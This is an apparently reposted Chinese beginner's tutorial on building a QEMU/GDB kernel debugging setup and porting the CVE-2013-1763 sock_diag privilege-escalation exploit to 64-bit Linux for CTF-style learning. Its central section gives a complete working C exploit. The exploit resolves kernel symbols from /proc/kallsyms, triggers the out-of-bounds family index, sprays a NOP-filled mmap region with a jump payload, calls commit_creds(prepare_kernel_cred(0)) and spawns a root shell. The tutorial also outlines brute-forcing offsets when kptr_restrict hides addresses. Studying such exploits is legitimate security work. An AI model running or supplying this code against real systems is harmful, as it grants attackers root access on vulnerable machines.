新手向———内核调试(上)

栏目: 服务器 · 发布时间: 5年前

内容简介:在当前CTF比赛中,kernel pwn类型的题目还是比较少,18年国内大型比赛中,仅强网杯出过几题。然,网上虽资料不少,但涉及内核过程,函数调用链复杂,但看出题思路和复现exp,总觉差那么点意思。而网上这类题又比较少,对初学者很不友好。我决定从调试真实环境内核漏洞来学习内核花样百出的攻击手段,若有不实不详之处,希望各位师傅指点。本文主要分为四个部分,首先说明如何在单机环境下搭建内核调试窗口,其次会讲解cve-2013-1763从32位移植到64位,再讲解让exp可以绕过缓解机制,最后由对内核调试上篇做一个

新手向———内核调试(上)

前言

在当前CTF比赛中,kernel pwn类型的题目还是比较少,18年国内大型比赛中,仅强网杯出过几题。然,网上虽资料不少,但涉及内核过程,函数调用链复杂,但看出题思路和复现exp,总觉差那么点意思。而网上这类题又比较少,对初学者很不友好。我决定从调试真实环境内核漏洞来学习内核花样百出的攻击手段,若有不实不详之处,希望各位师傅指点。

本文主要分为四个部分,首先说明如何在单机环境下搭建内核调试窗口,其次会讲解cve-2013-1763从32位移植到64位,再讲解让exp可以绕过缓解机制,最后由对内核调试上篇做一个总结。可能讲解有些零散,但思路肯定是连贯的。

  • 内核调试环境配置
  • 移植cve-2013-1763
  • 绕过内核缓解机制
  • 总结

内核调试环境配置

在单机中调试其他内核,你需要三个组成部件,其一是虚拟化的环境搭建,其二是对应内核版本的二进制库文件,其三是操作系统的启动初始化文件。拥有了这三个部分,你就可以进行比较舒适的调试了。

其一

虚拟化的环境搭建,选择的是qemu这款堪称虚拟化的鼻祖软件,虽然因为连芯片也一起虚拟导致运行速度变慢,但它也结合了真实芯片辅助加速的KVM,支持其他芯片架构的功能,简直就是交叉编译的神器。

(我不会说因为看到ctf里的启动脚本都用qemu才来学习)

QEMU(quick emulator)是一款由Fabrice Bellard等人编写的免费的可执行硬件虚拟化的(hardware virtualization)开源托管虚拟机(VMM)。

其与Bochs,PearPC类似,但拥有高速(配合KVM),跨平台的特性。

QEMU是一个托管的虚拟机镜像,它通过动态的二进制转换,模拟CPU,并且提供一组设备模型,使它能够运行多种未修改的客户机OS,可以通过与KVM(kernel-based virtual machine开源加速器)一起使用进而接近本地速度运行虚拟机(接近真实计算机的速度)。

QEMU还可以为user-level的进程执行CPU仿真,进而允许了为一种架构编译的程序在另外一中架构上面运行(借由VMM的形式)。

值得注意的是,qemu对主流的架构和芯片都有不错的模拟性能,不常见的,额,还是焊个板子自己干吧。

Firstly,查看清楚自己想要调试的内核漏洞对应的版本范围,在其中任选一款稳定版本下载就行。 下载地址 在此。要注意的是,其中tar的压缩方式有好多种,下载完如何解压缩,就充当是学习 linux 常用命令。

  1. *.tar.xz 用 tar -xvf 解压
  2. .tar.gz和 .tgz 用 tar -xzf 解压
  3. *.tar.bz2用tar -xjf 解压
    新手向———内核调试(上)

Secondly,查找明白解压完毕,将要编译的内核和本身的gcc编译器符不符合。符合,就可以继续下一步;不符合,就要安装旧的gcc编译器。要注意的是,有些版本的gcc发布了,但没有默认安装在linux发行版的默认安装仓库里,所以需要自己去gcc官网下载安装。

  1. 先看看我们系统用的gcc是什么版本
    gcc —version
    
  2. 发现编译时gcc版本报错,安装低版本的gcc
    sudo apt-get install gcc-4.4 gcc-4.4-multilib
    
  3. 不安装g++的原因是因为,linux内核是纯C编写的,版本切换安装
    sudo update-alternatives —install /usr/bin/gcc gcc /usr/bin/gcc-4.4 40  sudo update-alternatives —install /usr/bin/gcc gcc /usr/bin/gcc-5 50
    
  4. 现在可以进行版本切换了,选择版本输出入第一列的编号
    sudo update-alternatives —config gcc
    

新手向———内核调试(上)

Thirdly,安装好一些额外的依赖库后,就可以进入 menuconfig

中去设置参数。它是个图形界面,有非常好的操作性,比起一个个选项参数在编译时去Yes or No,真是好了很多。

apt-get install libncurses5-dev build-essential kernel-package  make menuconfig

新手向———内核调试(上)

配置一下编译参数,注意就是修改下面列出的一些选项

由于我们需要使用gdb调试内核,注意下面这几项一定要配置好

  1. 在KernelHacking —>
  • 选中 Compile the kernel with debug info
  • 选中 Compile the kernel with frame pointers
  • 选中 KGDB:kernel debugging with remote
  1. 在Processor type and features—>
  • 取消 Paravirtualized guest support
  1. KernelHacking—>
  • 取消 Write protect kernel read-only data structures

当然,因为版本的不同,有些选项不见或者有细微的变化,多查阅资料也能熟练掌握,其次为了观察slab的分配,也有专门的 slab info 参数来选择。

Fourthly,接下来,就是长达二、三个小时的编译,你可以去追追最新的番剧了。

make all

或者

make install

make modules

编译过程中,[M]开头的其实是驱动模块,其实可以分开编译,不过好像速度也没提高多少,还是看最新番剧吧。其中有错误,多半是源码写错或和现在不符,要修补下.c文件。再看不懂报错的,去stackflow上碰碰运气吧。

启动内核还需要一个简单的文件系统和一些启动命令,可以使用 busybox 构建。 busybox 是一个大牛写的精巧文件系统,适合快速编译启动模块。

BusyBox是一个遵循GPL协议、以自由软件形式发行的应用程序。Busybox在单一的可执行文件中提供了精简的Unix工具集,可运行于多款POSIX环境的操作系统,例如Linux(包括Android)、Hurd、FreeBSD等等。由于BusyBox可执行文件的文件大小比较小、并通常使用Linux内核,这使得它非常适合使用于嵌入式系统。作者将BusyBox称为“嵌入式Linux的瑞士军刀”。

Firstly, 下载地址 在此。下载完成后,需要解压和编译。同时在编译前,也要配置编译的一些参数

make menuconfig
  1. Busybox Settings -> Build Options ->
  • 选中 Build Busybox as a static binary
  1. Uinux System Utilities ->
  • 取消 Support mounting NFS file system 网络文件系统
  1. Networking Utilities ->
  • 取消 inetd (Internet超级服务器)
make install

Secondly,需要构建文件系统。编译完成后,在 busybox 源代码的根目录下会有一个 _install 目录下会存放好编译后的文件。而你需要在其中添加一些东西。

cd _install  mkdir proc sys dev etc etc/init.d  vim etc/init.d/rcS

在启动脚本 rcS 中的代码为:

#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
/sbin/mdev -s

主要挂载了两个文件夹,不过最后一句创建设备节点的速度真心慢,不知道为什么有些比赛题目就启动得非常快。最后别忘了,给它加上执行权限

chmod +x etc/init.d/rcS

最后的 _install 目录下的文件成品:

新手向———内核调试(上)

Thirdly,对于目录下的文件打包成一个镜像文件,每次打包时,都别把上次的镜像文件包进去

find . | cpio -o —format=newc > rootfs.img

为了方便,可以在开启脚本里,编入打包命令,让它每次开启时都可以自动打包。同时,为了提权,总是要创建个低权限用户的 shell 脚本,也编写入 _install 目录中。

新手向———内核调试(上)

编写qemu运行内核的脚本

qemu-system-x86_64  #选择qemu的模式和你编译内核时的环境变量有关
-kernel ./home/.../arch/x86_64/boot/bzImage  #内核的二进制库
-initrd ./home/.../rootfs.img  #启动的镜像
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init"  #添加的参数,指明控制台,特权,初始路径
-cpu kvm64,+smep  #前者是加速器,后者是内核保护模式
--nographic -gdb tcp::1234 #设置为无图形界面,同时和gdb连1234端口,也可以写成 -s

使用gdb进行远程调试

重点终于来了,gdb首先要导入对应内核的二进制库,里面有各种符号表和函数地址的对应关系。其次,还需要在关键的地方断点方便进行调试。那么问题来了,如果像比赛题目那样,有外来驱动模块导入,那么gdb可以断外来驱动上任意函数地址。但如果只是在内核内部运行,没有其他辅助点可以断,那怎么调试exp呢。后来想明白了,exp里肯定会调用这些内核函数,所以环境设置简单点,去除内核随机化,找到有缺陷的函数地址,然后在gdb中给这些地址下断点。

如果要加载驱动的符号文件,先需要在已经运行的内核里去获取驱动模块的基址,它一般在 /proc/modules 里。

gdb -q ./vmlinux  target remote:1234  add-symbol-file xxx.ko 0xffffxxx

如果是要找内核内部的函数,可以在 /proc/kallsyms 文件里寻找到,管道操作 grep 大家应该都会的吧。

移植cve-2013-1763

我查阅了一些最近几年的真实linux内核漏洞,它们角度刁钻,原理复杂,竞态多线程跑poc,没个把小时出不了结果。 hackerone 上有人问作者,这poc不对啊,我跑了一小时都没跑出来。作者回复他说,我拿128g的机器跑了10分钟就可以出来了呀。我想想我的小破烂电脑,还不如去追最新的番剧呢。还是找个稍显简单的漏洞来复现,让初学者也能尝到。

漏洞概述

先看看cve官网对这个漏洞的介绍,在内核3.7.10版本及之前的内核都受到这个漏洞的影响。

新手向———内核调试(上)

那为什么一些详解里是3.3~3.8呢,额,因为3.7.10是3.7的最后一个版本,而3.3之前就没引进 sock_diag_rcv_msg 这个函数,所以也就没有利用的框架。

新手向———内核调试(上)

网上关于它的漏洞讲解也有几个版本,而其中的exp都是一个牛人写的32位的提权验证。我因为初来乍到,直接编译了一个64位的内核,一想到再去编译个32位的版本,就不提要修改后缀名为 .bin 这样的麻烦事,至少又是二、三个小时的等待,而我新番都看完了。所以我立刻打算明白原理后,移植它到64位内核上提权,顺便就像做一道kernel pwn的练习题了。

漏洞分析

可以从下图看出多加了 sdiag_family 的检验语句,并且也就修改了这一处,很明显,这是一个关于数组越界的溢出漏洞。

新手向———内核调试(上)

网上的原理讲解的其实满清晰的,主要可能是自己菜,反复读后才发现关键点文中已经指出了。现在,根据我的总结,快速来上手。看三处代码:

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
    int err;
    struct sock_diag_req *req = NLMSG_DATA(nlh);
    struct sock_diag_handler *hndl;

    if (nlmsg_len(nlh) < sizeof(*req))//只判断小,没判断大
        return -EINVAL;

    hndl = sock_diag_lock_handler(req->sdiag_family);//仅仅加锁
    if (hndl == NULL)//那它肯定不是NULL喽
        err = -ENOENT;
    else
        err = hndl->dump(skb, nlh);//exp的突破口
    sock_diag_unlock_handler(hndl);

    return err;
}

__sock_diag_rcv_msg 函数位于进程通讯函数链的一员,可以利用netlink协议来创建socket并发送数据触发数组越界的这个断点。从代码中可以看出,dump函数是一个利用的点,具体在后面动态调试中看出。

struct sock_diag_handler {
    __u8 family;//在64位里,就是8个字节
    int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);//虽没有源码详解,根据调试,是直接运行第一位地址上的值
};

结构体 sock_diag_handler 也需要查看来明白它定义了什么。

struct nl_pid_hash {
    struct hlist_head *table;
    unsigned long rehash_time;//这个值随机在一定范围内,可控

    unsigned int mask;
    unsigned int shift;

    unsigned int entries;
    unsigned int max_shift;

    u32 rnd;
};

struct netlink_table {
    struct nl_pid_hash hash;//上方是结构体的详细介绍
    struct hlist_head mc_list;
    struct listeners __rcu *listeners;
    unsigned int nl_nonroot;
    unsigned int groups;
    struct mutex *cb_mutex;
    struct module *module;
    int registered;
};

这个结构体,你要问我怎么找出来的,我也回答不上来。只能说是一位六年前就对内核很精通的大牛,他发现在内核进程中, nl_table(struct netlink_table)sock_diag_handlers(struct sock_diag_handler) 的距离很近,而且还是在下方,可以被溢出到。同时,它的 hash(struct nl_pid_hash)—>rehash_time 虽然是个随机值,但是却永远落在一定范围内,可以通过堆风水的方式来利用它。

那么,思路就很明确了,只剩下如何构造数据包和利用链。

修改exp

Firstly,说到netlink消息数据包,我们只需要这个包能经过 __sock_diag_rcv_msg 就行,那么只需要它的请求格式符合结构体:

struct
{
    struct nlmsghdr nlh;
    struct unix_diag_req r;
 } req;

查阅资料时,发现请求头必须是 nlmsghdr 结构体,但数据区也可以是 inet_diag_req 或者 inet_diag_req_v2 结构体。

struct unix_diag_req {
    __u8    sdiag_family;
    __u8    sdiag_protocol;
    __u16    pad;
    __u32    udiag_states;
    __u32    udiag_ino;
    __u32    udiag_show;
    __u32    udiag_cookie[2];
};

struct inet_diag_req {
    __u8    idiag_family;        /* Family of addresses. */
    __u8    idiag_src_len;
    __u8    idiag_dst_len;
    __u8    idiag_ext;        /* Query extended information */

    struct inet_diag_sockid id;

    __u32    idiag_states;        /* States to dump */
    __u32    idiag_dbs;        /* Tables to dump (NI) */
};
struct inet_diag_sockid {
    __be16    idiag_sport;
    __be16    idiag_dport;
    __be32    idiag_src[4];
    __be32    idiag_dst[4];
    __u32    idiag_if;
    __u32    idiag_cookie[2];
};

最主要的还是 unix_diag_req 结构最简单,利用起来最方便。

Secondly,需要计算出family的取值到底要多少,不能大也不能小。

在32位里,family = (nl_table – sock_diag_handlers)/4

显然,在64位里,family = (nl_table – sock_diag_handlers)/8

现在的问题是如何获取这两个结构体的具体地址,如果内核设置 kernel.kptr_restrict=0 ,那么我们可以直接从 /proc/kallsyms 里获取,如果禁止,那连 /boot/linux-image-xxx-generic 里也无法获取。

Thirdly,因为32位的exp可以搜到,链接放在文后,所以我就选取一些修改点来分析。

[...]
int jump_payload_not_used(void *skb, void *nlh)
{
  asm volatile (
    "mov $kernel_code, %eaxn"
    "call *%eaxn"
  );
}

[...]
    //填充数据包,就是为了最终能够执行到__sock_diag_rcv_msg中去
  memset(&req, 0, sizeof(req));
  req.nlh.nlmsg_len = sizeof(req);
  req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
  req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
  req.nlh.nlmsg_seq = 123456;

  req.r.udiag_states = -1;
  req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
 [...]
  unsigned long mmap_start, mmap_size;
  mmap_start = 0x10000;  //选择了一块1MB多的内存区域
  mmap_size = 0x120000;  
  printf("mmapping at 0x%lx, size = 0x%lxn", mmap_start, mmap_size);

        if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap faultn");
                exit(1);
        }
  memset((void*)mmap_start, 0x90, mmap_size);         //将其全部填充为0x90,在X86系统中对应的是NOP指令

  char jump[] = "x55x89xe5xb8x11x11x11x11xffxd0x5dxc3"; // jump_payload in asm
  unsigned long *asd = &jump[4];
  *asd = (unsigned long)kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11

  memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

  [...]

大牛的利用思路是,获取 rehash_time 大致取值范围,然后在那块区域布满 nop 指令用于堆喷,再写一个提权子函数后,利用很巧妙的手法,塞进区域的最后,由 call xxx 来成功突破。换言之,32位转变成64位,最重要的就是获取64位下 rehash_time 的范围,就是64位的指令格式和长度不同,还有就是数据类型大小也有所不同。

Fourthly,写出64位下的 jump_payload 汇编语句后,靠 objdump 来编译出机器码,值得注意的是,64位里,你设置的跳转地址不同,机器码也会有所不同。

新手向———内核调试(上)

接下来需要调试出64位里 rehash_time 的位置,这会在下节讲。等到这两点都获取了,那么64位的exp也差不多写成了。

#include<stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;
int __attribute__((regparm(3))) //获取root权限
kernel_code()
{
    commit_creds(prepare_kernel_cred(0));
    //return -1;
}
int jump_payload_not_used(void *skb, void *nlh)
{
    asm volatile (
        "mov $kernel_code, %raxn"
        "call *%raxn"
    );
}
unsigned long
get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy, sym[512];
    int ret = 0;

    f = fopen("/proc/kallsyms", "r");
    if (!f) {
        return 0;
    }

    while (ret != EOF) {
        ret = fscanf(f, "%p %c %sn", (void **) &addr, &dummy, sym);
        if (ret == 0) {
            fscanf(f, "%sn", sym);
            continue;
        }
        if (!strcmp(name, sym)) {
            printf("[+] resolved symbol %s to %pn", name, (void *) addr);
            fclose(f);
            return addr;
        }
    }
    fclose(f);
    return 0;
}
int main(int argc, char*argv[])
{
    int fd;
    unsigned family;
    struct {
        struct nlmsghdr nlh;
        struct unix_diag_req r;
    } req;
    char buf[8192];
    if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
        printf("Can't create sock diag socketn");
        return -1;
    }
    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = sizeof(req);
    req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
    req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
    req.nlh.nlmsg_seq = 123456;
    //req.r.sdiag_family = 99;
    req.r.udiag_states = -1;
    req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

       commit_creds = (_commit_creds) get_symbol("commit_creds");
      prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
      sock_diag_handlers = get_symbol("sock_diag_handlers");
      nl_table = get_symbol("nl_table");

      if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
        printf("some symbols are not available!n");
        exit(1);
        }
      family = (nl_table - sock_diag_handlers) / 8;
      printf("family=%dn",family);
      if(family>255){
        printf("nl_table is too far!n");
        exit(1);
        }
      req.r.sdiag_family = family;
    unsigned long mmap_start, mmap_size;
    mmap_start = 0xfffd0000;
    mmap_size = 0x20000;
    printf("mmapping at 0x%lx, size = 0x%lxn", mmap_start, mmap_size);
        if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap faultn");
                exit(1);
        }
    memset((void*)mmap_start, 0x90, mmap_size); //将申请的内存区域全部填充为nop
    char jump[] = "x55x48x89xe5x48xb8x11x11x11x11x11x11x11x11xffxd0x5dxc3"; // jump_payload in asm
    unsigned long *asd =(unsigned long *)&jump[6];  
    //将x11全部替换成kernel_code
    *asd = (unsigned long)kernel_code;
     printf("[+] kernel_code: %pn",(void *) kernel_code);
    //把jump_payload放进mmap的内存的最后
    memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

    send(fd, &req, sizeof(req), 0); //发送socket触发漏洞
    printf("uid=%d, euid=%dn",getuid(), geteuid() );
    system("/bin/sh");
}

调试过程

首先,要下内核断点,这里选取的是 __sock_diag_rcv_msg 函数,它离调用点很近。

新手向———内核调试(上)

其次,查看结构体 netlink_table 的子结构体 nl_pid_hash 的子成员 rehash_time 的值。多次调试可以知道取值范围。

新手向———内核调试(上)

然后,查看(dump )函数的汇编代码流程,查看正常和溢出时不一样的变化。

新手向———内核调试(上)

可以看出,正常rax已经为零,不再去执行(dump )函数,而伪造的继续执行。

新手向———内核调试(上)

接着,查看shellcode流的走向。

新手向———内核调试(上)

最后,成功提权,拿到了root权限,虽然这是在毫无内核保护机制之下。

新手向———内核调试(上)

简单绕过

内核最常见的是内核地址随机化保护( kaslr ),但是查看exp流程,你会发现,基本没有需要突破 kaslr 的地方,因为地址已经被泄露出来了。那么,如果 kernel.kptr_restrict=1 的时候,地址被封禁,也就是没办法去调用符号的地址。这个时候也不可以查看 dmesg 日志里的报错信息,因为进程间通信错误会使内核这一板块失效,之后再去运行时就会卡死。

新手向———内核调试(上)

但我们也不是没有办法,根据反复调试,每个linux版本里这两个结构体的相对位置大致不变。可以编写自动化脚本,给一个固定的值,反复重启爆破出某次正好凑齐的值。

之后还有 smepsmap 的内核禁止执行用户空间代码的保护,绕过这种保护,一般使用 rop 来突破,就像一般pwn题用它来绕过 NX 一样。但是,这内核空间里没有可以直接利用的栈空间,连一句 rop 也无法执行。比较少见的方式是去修改使内核误以为用户空间页是内核空间页。两者详细利用,我都会在下篇里进行讲述,下篇也会调试几个最近有关虚拟页表的内核cve漏洞。

我绝对不会说JOJO的奇妙冒险更新了,我赶着去看,所以不想再往下写了。

上篇总结

内核调试总是要走很多弯路,幸好很多坑前辈已经帮你踩过,你也在常规的pwn题里跌倒过,最后上手总是快些。但是密密麻麻的函数流程,比 python 难上手的linux下的C编程,总是令人恐惧。这是无可奈何的事,田园时代已过,未来只会更加凶险。你能做到就是盯着它看,代码烂熟于心,就算找不到漏洞,那至少也是一名内核工程师了。

上篇主要还是讲了讲调试内核的入门,分析的漏洞也是一个较为明显的越界,也怪我懒散,拖拖拉拉到现在才写完。那我们就在猴年马月的下篇再见了。

参考资料

(1). https://bbs.pediy.com/thread-178397.htm

(2). https://www.cnblogs.com/ck1020/p/7118236.html

(3). http://m4x.fun/post/linux-kernel-pwn-abc-1/#get-root-shell


以上所述就是小编给大家介绍的《新手向———内核调试(上)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

浅薄

浅薄

[美]尼古拉斯·卡尔 / 刘纯毅 / 中信出版社 / 2015-11 / 49.00 元

互联网时代的飞速发展带来了各行各业效率的提升和生活的便利,但卡尔指出,当我们每天在翻看手机上的社交平台,阅读那些看似有趣和有深度的文章时,在我们尽情享受互联网慷慨施舍的过程中,我们正在渐渐丧失深度阅读和深度思考的能力。 互联网鼓励我们蜻蜓点水般地从多种信息来源中广泛采集碎片化的信息,其伦理规范就是工业主义,这是一套速度至上、效率至上的伦理,也是一套产量最优化、消费最优化的伦理——如此说来,互......一起来看看 《浅薄》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试